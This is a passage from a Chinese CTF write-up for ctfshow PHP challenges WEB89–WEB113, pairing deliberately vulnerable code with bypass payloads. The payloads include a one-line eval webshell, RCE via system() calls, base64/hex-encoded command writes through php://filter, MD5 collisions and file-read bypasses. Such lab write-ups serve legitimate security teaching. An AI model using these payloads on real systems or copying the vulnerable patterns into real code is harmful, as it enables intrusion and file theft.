- WEB89(数组绕过正则)
- WEB90(intval()+强比较)
- WEB91(正则修饰符)
- WEB92(intval()+弱比较)
- WEB93(八进制与小数点)
- WEB94(八进制与小数点)
- WEB95(加号和空格)
- WEB96(考察路径问题,字符串弱类型)
- WEB97(md5强类型与数组绕过)
- WEB98(三元运算符和变量覆盖)
- WEB99(★考察PHP弱类型比较)
- WEB100(命令执行)
- WEB101(★反射类)
- WEB102(★回调函数、经base64与bin2hex后全为数字)
- WEB103(回调函数、经base64与bin2hex后全为数字)
- WEB104(sha1碰撞/哈希缺陷/数组绕过)
- WEB105(★变量覆盖,好好理解一下)
- WEB106(哈希缺陷/数组绕过)
- WEB107(★parse_str变量覆盖)
- WEB108(ereg()函数%00截断)
- WEB109(★反射类(巧)/处理异常类)
- WEB110(★FilesystemIterator类读取文件)
- WEB111(★GLOBALS全局变量覆盖)
- WEB112( php伪协议绕过is_file+highlight_file对于php伪协议的使用 )
- WEB113(/proc/self/root绕过is_file)
- WEB114(filter协议利用)
- WEB115( ★trim函数+is_numeric利用%0c绕过)
- WEB123(echo没禁用)
- WEB125(var_export代替echo或者extract变量覆盖)
- WEB126(?★)
- WEB127(PHP变量名带[点]和[空格]会被转化为下划线)
- WEB128(骚姿势:gettext)
- WEB129(目录穿越)
- WEB130(正则/回溯)
- WEB131(正则溢出)
- WEB132(考察优先级)
- WEB133(dns带外)
- WEB134(?变量覆盖问题)
- WEB135/web133plus(考察写文件:cp/nl 或者dns外带)
- WEB136(★linux的tee命令使用+直接修改代码的骚操作)
- WEB137(静态方法调用之双冒号)
- WEB138(静态方法调用之利用数组)
- WEB139(未解)
- WEB140(拼凑函数/函数嵌套)
- WEB141(无字母数字绕过正则,未做)
- WEB142(进制绕过is_numeric)
- WEB143(未做)
- WEB144
- WEB145
- WEB146
- WEB147
- WEB148
- WEB149
- WEB150
- WEB150_plus
WEB89(数组绕过正则)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
echo intval(array()); // 0
我们尝试构造数组绕过 ?num[]=1
WEB90(intval()+强比较)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){ # 这个4476是带双引号的,是作为一个字符串来比较
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
117c(十六进制) = 4476(十进制)
===:完全**等于**运算,不仅比较值,而且还比较值的类型,只有两者一致才为真。
?num=0x117c(如果不加0x,会显示117,intval会把非数字丢弃掉作为十进制;0x开头它会把后面的连起来作为一个十六进制)
WEB91(正则修饰符)
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ # ^php$表示以php开头以php结尾,也就只能是php
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
正则表达式m修饰符:
m修饰符规定正则表达式可以执行多行匹配。
m修饰符的作用是修改^和$在正则表达式中的作用,让它们分别表示行首和行尾。
在默认状态下,一个字符串无论是否换行只有一个开始^和结尾$,如果采用多行匹配,那么每一个行都有一个^和结尾$。
payload:?cmd=%0aphp
注:%0a是换行的意思
解释:如果我们输入的是%0aphp,那么在文本形式的匹配中会显示 换行php
Hint:
考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486 (Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展)
可以通过 %0a 绕过 payload: abc%0aphp
WEB92(intval()+弱比较)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这道题与web90不同的是,这里是==,不是===
php中有两种比较符号===和==:
===在比较的时候会先判断两种字符串的类型是否相同,再进行比较(比较两个变量的值和类型;)
==在进行比较的时候,会先将字符串类型转换成相同类型,再进行比较(比较两个变量的值,不比较数据类型)
注意:这里没有二进制,因为二进制可能会跟八进制重复,因为八进制是0开头,二进制也可能是0开头,它分不清哪个是格式,哪个是数据【但是经过测试发现二进制也是可以的啊】
hint:
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
payload:?num=4476e666 (hint说其他字母也可以,但是在测试的时候发现只能是e才可以拿到flag)
本题也可以使用:payload:?num=0x117c(同web90)
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 空格+8进制
intval('+010574')===4476
intval('%2b010574')===4476
intval(4.2); //4 取整数部分
WEB93(八进制与小数点)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
hint:
过滤了字母但是我们可以使用其他进制
就是计算 八进制 0X?? : 16进制 payload : ?num=010574
?num=4476E1234 (X) 字母过滤了
?num=0x117c(x)十六进制弄不了
试试八进制:?num=010574(√)
试试二进制:?num=0b0001000101111100(x) 二进制不行,我觉得是因为有b,我不知道这个是不是连通b一起解析为数字。。。
WEB94(八进制与小数点)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){ # 查找0在$num中第一次出现的位置(不区分大小写)
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
if(!strpos($num, “0”)) 就die,就说明里面要出现0
preg_match(“/[a-z]/i”, $num) 就no,说明不能是字母
if($num===”4476”)就no,说明不能直接传入4476
Hint:
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0
其他师傅的解法:
对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010576
WEB95(加号和空格)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){ // 弱类型比较,如果num为_4476,以下划线开头,弱类型,0和4476不相等
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){ //必须要有0才能绕过
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这道题与上面一题的区别是 if($num==4476),这里的4476是数字,不是字符串
Hint:
可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574 (%2b是+)或者?num=%20010574
为什么使用加号和空格可以呢?
因为加号提交过去解码也是一个空格
intval对加号和空格开头的会作为一个删除或者作为一个正数来处理
知识点:PHP弱类型比较
php中其中两种比较符号:
==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较
字符串和数字比较使用==时,字符串会先转换为数字类型再比较
var_dump('a' == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0
var_dump('123a' == 123);//true,这里'123a'会被转换为123
var_dump('a123' == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。
举例:
var_dump('123a1' == 123);//true
var_dump('1233a' == 123);//false
==为弱相等,也就是说12=="12" --> true,而且12=="12cdf" --> true,
只取字符串中开头的整数部分,但是1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000.
<、>、<=、>=都存在和==相同的弱类型
WEB96(考察路径问题,字符串弱类型)
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){ # 字符串的弱类型
die("no no no");
}else{
highlight_file($_GET['u']);
//高亮和包含不一样,高亮类似将文本数据读入,然后识别里面的关键字,加入css样式,混合起来输出
}
}
u=./flag.php(当前目录下的flag.php)
在根目录下没有看到flag.php,在当前目录
考察点:路径问题
下面方式在highlight_file中均等效于flag.php,也即本题的payload
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
还有其他姿势,比如:
u=/var/www/html/../html/flag.php
u=/var/www/html/../html/../../../../../ctfshow/../../var/www/html/flag.php
WEB97(md5强类型与数组绕过)
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
本题要求post传入的a和b不能相等,但是他们的md5值要完全相等
这考察的是md5强类型,找两个不一样的值但是md5相同
md5碰撞(但是没有得到flag,不知道什么原因)
payload: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
Hint:其他payload
要使a b不同的情况下a和b的md5相同,肯定要用对象了(数组也是对象)
通过数组绕过 a[]=1&b[]=2(md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。)
WEB98(三元运算符和变量覆盖)
include("flag.php");
$_GET?$_GET=&$_POST:'flag'; //如果存在GET请求,则将POST请求覆盖GET请求,否则返回flag字符串($_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址))
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; //如果get传入的值为flag,就返回cookie
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; //如果get传入的值为flag,返回服务器和执行环境信息
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);//说GET传参HTTP_FLAG的值为flag,则读取$flag,否则取得当前文件的绝对地址
?>
这是PHP的三目运算符:
1. (expr1)?(expr2):(expr3);
=> 表达式1 ? 表达式2 : 表达式3
=> 如果条件“expr1”成立,则返回“expr2”,否则返回“expr3”。
2. (expr1)?:(expr2);
=> 这个是php5.3开始才有的功能
=> 如果条件“expr1”成立,则返回“expr1”,否则“expr2”。
GET传参: ?flag=6666
POST传参:HTTP_FLAG=flag(因为存在GET请求,会将POST请求覆盖GET请求)
WEB99(★考察PHP弱类型比较)
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { #0x36d是877
array_push($allow, rand(1,$i)); #入栈 rand产生随机数
}
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ //in_array() 函数搜索数组中是否存在指定的值
file_put_contents($_GET['n'], $_POST['content']); //把一个字符串写入文件中,第一个参数是文件名,第二个参数是数据
}
考察点PHP弱类型比较:
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false
二分法(得到1-469之间都能写入)
get: n=123.php (文件名在)
post: content=<?php eval($_REQUEST[‘hack’]);?>
WEB100(命令执行)
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); #v1必须是数字,才能走下面的判断
if($v0){
if(!preg_match("/\;/", $v2)){ # 不能包含分号
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
v1必须是数字才能进入第一个判断,v1=1
eval(“$v2(‘ctfshow’)$v3”); 有个括号,把这个函数写死了
我们可以使用var_dump打印一下ctfshow这个变量:v2=var_dump ——》eval(“var_dump(‘ctfshow’)$v3”);
又必须有分号:v3=;
故:/?v1=1&v2=var_dump&v3=; (显示string(7) “ctfshow”)
我们直接v2=phpinfo();看一下,用# 把括号注释掉:v2=phpinfo();#,又因为v2里面不能有分号,又要有注释,我们直接闭合:v2=phpinfo()?>,因为PHP最后一条语句可以不用分号。
也就是:/?v1=1&v2=phpinfo()?>&v3=;
那么可以说明我们可以直接RCE了:/?v1=1&v2=eval($_POST[1])?>&v3=;
这时候我们再进行随意的无过滤的RCE:
这个直接用蚁剑就行,一个个翻文件!
发现在ctfshow.php:
ctfshow{22785a78-9c25-4890-8949-e5a8ee585ce3}
ctfshow括号里面的flag一共36位
WEB101(★反射类)
修补100题非预期,替换0x2d
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
这次不让getshell了,基本上把数字和特殊字符都ban完了
这时候反射一下ctfshow这个类就行了,因为这个类已经注册了
反射类很好理解,就是利用这个函数把类反射出来,就像是赋值一样,这样直接输出这个反射类就能得到原来的类
反射类:
比如有三个类:
new ctfshow1();
new ctfshow2();
new ctfshow3();
我们代码里面知道这个逻辑后面的话我们要用1/2/3,我们可以写ctfshow1()/ctfshow2()/ctfshow3()
但是会有这样一种情况,就是说反序列化的时候,哪个类是不固定的,某种情况下是1,某种情况下是2...
比如有时候可能根据用户的输入,比如用户输入a,经过后台的一个逻辑它可能推导出,这时候要处理a,可能要用到ctfshow1这个类
但是代码里面不知道用户要说什么,逻辑是什么,他只知道这个逻辑关系是什么,所以它这个时候需要这样做:
比如说我们声称ctfshow1它只是一个字符串,那么我要动态生成不定名字的类怎么办呢?只能用反射类:
new Refectionclass("ctfshow1"),它反射来就是根据一个字符串来创建一个类,它跟反序列化还不一样
这里类名是动态的,反序列的话类名基本是静态的
[ public $flag_d04f1cdb0x2d7f280x2d45ef0x2d93710x2d8763e63a519 ]
这时候类的属性就拿到了,它是一个公有属性public,叫flag,值是d04f1cdb0x2d7f280x2d45ef0x2d93710x2d8763e63a519
ctfshow{d04f1cdb-7f28-45ef-9371-8763e63a519} 发现flag的位数少一位,ctfshow中flag是36位,这里只有35位,我们就需要爆破了(最多36次[0-9]/[a-z])
我们 的思维要尽可能的发散!才能提升自己
最后一位试到4的时候发现提交成功!
WEB102(★回调函数、经base64与bin2hex后全为数字)
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
//v3是可控的
$v4 = is_numeric($v2) and is_numeric($v3);//这里是个判断,优先级是先$v4 = is_numeric($v2) 再is_numeric($v3),所以v3的值是不影响v4的,所以只要v2是数字的话就可以满足这个条件,进入写文件的判断
if($v4){
//调用的参数$s是v2第三位开始的后面的数字(只能是数字,而且是从你提交后面的第三位开始的数字,所以v2肯定要填充两个无用字符)
$s = substr($v2,2); //返回字符串的子串 比如substr("abcdef", -1); 就返回 "f"
$str = call_user_func($v1,$s); //把第一个参数作为回调函数调用,第二个参数是传入回调函数的,v1不用带括号,v1如果是phpinfo就是phpinfo();
echo $str;
file_put_contents($v3,$str); //将整个文件读入一个字符串,文件名可控,文件内容部分可控,就是要构造一个方法来解析我们传入的一个数字来写马
}
else{
die('hacker');
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
预期解:
Hint:
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php #通过过滤器对我们写的内容进行过滤
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
//115044383959474e68644341715944,首先hex转字符串PD89YGNhdCAqYD——》base64解后是<?=`cat *` 必须用谷歌hackbar解码
这个字符串很精妙,还没构建出第二个既满足命令执行的,又满足能够是数字的(还是个科学计数法的数字,里面有个e,如果是别的字母就过不了判断)
前面两个11是填充的字符串
在7.1以下版本,0x开头的字符串也是作为一个数字
查看版本:7.3.11(0x开头的字符串不支持)
就是5044383959474e68644341715944这个数字它通过某种函数,先转化为字符串再是转化为base64解码就会写到我们要求的东西,我们看到题目只能调用一次,那么肯定是通过十六进制转二进制的函数hex2bin
我们再访问1.php,查看源代码得到flag
总结:
总思路:
(v2从第三位开始所有的值作为v1函数的参数)->把v3作为文件名传入,
既然往进写文件,那就可以写一个php的一句话木马或者是命令执行,
那一句话木马如何只作为数字并且经过函数又正常执行呢,
那一定是16进制和hex2bin,本以为这样就可以了,可能是因为php的原因,
这里0x在is_numeric面前根本通不过,而且hex2bin也不允许有0x,
所以这里还得再加一层base64,给文件内容进行base64加密
然后v3利用php://filter/write=convert.base64-decode/resource伪协议把命令写进去,
WEB103(回调函数、经base64与bin2hex后全为数字)
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
字符串里面不能有PHP,PHP拆开分开都不行
我们上一题也没有用到php,我们直接用上一题解法也成功拿到flag!
WEB104(sha1碰撞/哈希缺陷/数组绕过)
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
==弱类型
只需要传入的v1和v2的sha1一样就行,那我们可以传入两个一样的值啊
直接拿到flag:
或者:考察的是哈希缺陷
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
WEB105(★变量覆盖,好好理解一下)
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
大概意思是:
第一步:给小猫起名字为小狗——》 suces->flag
第二步:给小牛起名字为小猫——》 error->suces
第三步:打印小牛的值——》 die $error
小牛的名字就叫小狗
Hint:
考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
就相当于:
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$suces=$flag;
}
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$error=$suces;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces); //suces=$flag输出flag
WEB106(哈希缺陷/数组绕过)
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
这里比较了v1和v2的值,这点不同于web104,我们就需要利用哈希比较权限:
PHP在处理哈希字符串时,通过!=或==来对哈希值进行比较,它把每一个以0e开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以0e开头的,那么PHP将会认为他们相同,都是0
“MD5与SHA1都是Hash算法,MD5输出是128位的,SHA1输出是160位的,MD5比SHA1快,SHA1比MD5强度高。”
我们只需要找出两个数的md5加密之后都以0e开头即可,如下:
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
所以构造v1=aaK1STfY&v2=aaO8zKZF即可绕过
数组绕过:
WEB107(★parse_str变量覆盖)
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
简而言之parse_str()就是把输入的字符串解析到变量中,如果变量已经存在,就直接覆盖,那这里我们v1 v2的值就是任意传,那给flag传一个md5(v3)的值就是了
举例:
$a='q=123&p=456';
parse_str($a,$b); //输入的字符串解析到变量中
echo $b['q']; //输出123
echo $b['p']; //输出456
如果parse_str($v1,$v2);
v2=flag=c4ca4238a0b923820dcc509a6f75849b
也就是:parse_str($v1,$v2);
这样$v2['flag']=c4ca4238a0b923820dcc509a6f75849b=md5($v3)
payload:
GET
?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b(这是“1”的md5的32位小写)
//这里是v1不是v2 因为parse_str是输入将的字符串解析到变量中
其他payload:
get:v3[]=1
post: v1=
if($v2['flag']==md5($v3))
如果我们不提交flag,v3给一个数组,返回null
null==null
返回flag
其他payload2:
GET:?v3=240610708(md5以0e开头,e为科学计数法,0的多少次方还是0)
POST: v1=flag=0
WEB108(ereg()函数%00截断)
highlight_file(__FILE__);
error_reporting(0); //关闭错误报告
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { //这个要匹配到返回true===false,false才可以绕过
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){//strrev用于反转字符串,返回值是反转后的字符串//0x36d是十进制877
echo $flag;
}
?>
error
//所以c的值要以字母开头和以字母结尾
这里用到两个知识点
1、ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
2、intval()函数遇到非数字字符就会停止识别, 877aa识别为877
payload:
?c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,通过正则表达式检测后,后面再通过反转函数变成877%00a,再用intval函数获取整数部分得到877,而877为0x36d的10进制
Q:是不是URL编码就能绕过一些过滤?
比如我过滤P,PHP的P,那么我能不能提交一个url编码的P(%70)
绕过过滤了P我能不能提交%70来绕过呢?不行
为什么payload里面有百分号多少多少?因为不可见字符,不可见字符我没办法输入呀
只能通过它的url编码来确保我们有这个字符
比如截断,截断是空字符,C语言最后一个字符串以它结束,因为PHP也是C语言写的
C语言看到%00就认为这个字符串结束,这个字符串结束之后没东西,然后就可以绕过匹配
WEB109(★反射类(巧)/处理异常类)
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
出题人思路:
eval("echo new $v1($v2());");
肯定是一个内置类,phpinfo中有时候能看到一些扩展类,比如curl或者zip,如果不开启的话是没有这些扩展的
当然也就没有这个类了
我们可以将v1给一个类
//只要是变量后面紧跟着(),那么对这个变量进行函数调用
//$a='phpinfo';$a();
v1=exception&v=system('echo phpinfo')会出现phpinfo,可以RCE
看到这题首先其实我想到的是web101的反射类,因为看到了echo new… 想到了echo new Refleactionclass
即payload:?v1=ReflectionClass&v2=system(‘cat fl.txt’) (不用分号)
就是echo new ReflectionClass(system(‘cat fl.txt’)())
原理:参考:https://blog.csdn.net/Xxy605/article/details/110109147
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错
<?php
error_reporting(0);
eval(echo new ReflectionClass(system('ls')()));
?>
>>index.php
或者直接访问fl36dg.txt即可
方法2:
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
?v1=Exception&v2=system(‘tac fl*’)
WEB110(★FilesystemIterator类读取文件)
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
v1和v2都过滤了很多特殊字符
同样试一下反射类:v1=Reflectionclass&v2=system(‘ls’) # 不行,因为等号、单引号、&全部过滤了
同理使用异常处理类也不行
看wp是利用FilesystemIterator,可以使用FilesystemIterator迭代器遍历目录
FilesystemIterator就是一个读取目录下文件名的,如果参数能给一个/就能读取当前目录所有文件,这里符号都不能用了,这里php中的getcwd()可以帮我们替代/。
payload:?v1=FilesystemIterator&v2=getcwd 得到:fl36dga.txt
直接访问fl36dga.txt得到flag
这道题我们学到了两个内置类的用法:
filesystemIterator 遍历文件类
directoryIterator 遍历目录类
以后遍历文件和变量目录就多了个选择
WEB111(★GLOBALS全局变量覆盖)
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //变量覆盖
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
v1和v2都过滤了很多,v1中要有ctfshow
首先需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
例如
$a=123;
$b=456;
var_dump($GLOBALS);
因此我们只需要把 $GOLBALS 的值赋给 v2 , v2 的值再赋给 v1 即可
WEB112( php伪协议绕过is_file+highlight_file对于php伪协议的使用 )
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file函数
is_file() 函数检查指定的文件是否是常规的文件。
语法
is_file(file)
1、直接使用伪协议读取
payload:file=php://filter/resource=flag.php
file=compress.zlib://flag.php
2、加上未被过滤的编码方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
is_file和highlight函数都是支持伪协议的,可以利用伪协议构造一个不存在的文件
is_file函数可以使用包装区 伪协议来绕过
不影响file_get_contents highlight_file读文件
WEB113(/proc/self/root绕过is_file)
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
试试上一题的file=compress.zlib://flag.php,得到flag
但是zlib换成bzip2是不行的
Hint:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php(目录溢出)
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,
其实显示的内容是根目录下的内容
